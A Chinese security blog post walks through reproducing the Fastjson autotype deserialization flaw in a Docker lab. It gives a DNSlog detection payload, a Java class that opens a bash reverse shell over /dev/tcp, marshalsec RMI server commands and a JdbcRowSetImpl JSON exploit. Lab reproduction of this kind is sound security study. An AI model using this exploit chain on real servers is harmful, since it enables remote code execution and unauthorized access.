[漏洞复现]-fastjson框架漏洞

admin 2024年5月21日20:00:50评论30 views字数 1200阅读4分0秒阅读模式

    简介:Fastjson是一个用Java语言编写的高性能功能完善的JSON库。 fastjson反序列化漏洞, Fastjson在处理JSON到Java对象的反序列化时没有对输入进行适当的验证和限制 ,导致攻击者可以利用特制的JSON数据来执行恶意代码。 

原理:Fastjson的autotype功能对于反序列化来说是开启的,它允许用户指定一个类型,然后Fastjson会尝试去实例化这个类型。如果没有对这个类型进行限制,攻击者可以指定为恶意类,从而导致代码执行。 

漏洞复现:

靶机:centos7 192.168.100.132

攻击机:本机win10 192.168.48.215

运行靶机环境

docker-compose up -d

环境启动成功,访问漏洞页面[漏洞复现]-fastjson框架漏洞

使用payload外带dns,验证漏洞存在。

[漏洞复现]-fastjson框架漏洞

[漏洞复现]-fastjson框架漏洞

payload:

{

"zeo":{

"@type":"java.net.Inet4Address",

"val":"jfh2lg.dnslog.cn"

}

}

开始进行反弹shell

首先搞个exp文件夹,用来放你的反弹木马文件

[漏洞复现]-fastjson框架漏洞

写个恶意的java类

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

   static {

       try {

           Runtime rt = Runtime.getRuntime();

           String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.48.215/6666 0>&1"};

           Process pc = rt.exec(commands);

           pc.waitFor();

       } catch (Exception e) {

           // do nothing

       }

   }

[漏洞复现]-fastjson框架漏洞javac编译为class文件。

[漏洞复现]-fastjson框架漏洞

python -m http.server 1337 开始http服务

[漏洞复现]-fastjson框架漏洞

开启nc nc -lvp 6666

启动LDAP服务,监听9999端口,并制定加载远程类  

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.215:1337/#TouchFile" 9999

burpsuite构造恶意payload发起攻击

{

   "b":{

       "@type":"com.sun.rowset.JdbcRowSetImpl",

       "dataSourceName":"rmi://192.168.48.215:9999/TouchFile",

       "autoCommit":true

   }

}

[漏洞复现]-fastjson框架漏洞

[漏洞复现]-fastjson框架漏洞反弹shell成功[漏洞复现]-fastjson框架漏洞

[漏洞复现]-fastjson框架漏洞

原文始发于微信公众号(小裴学安全):[漏洞复现]-fastjson框架漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日20:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [漏洞复现]-fastjson框架漏洞https://cn-sec.com/archives/2763343.html

发表评论

匿名网友 填写信息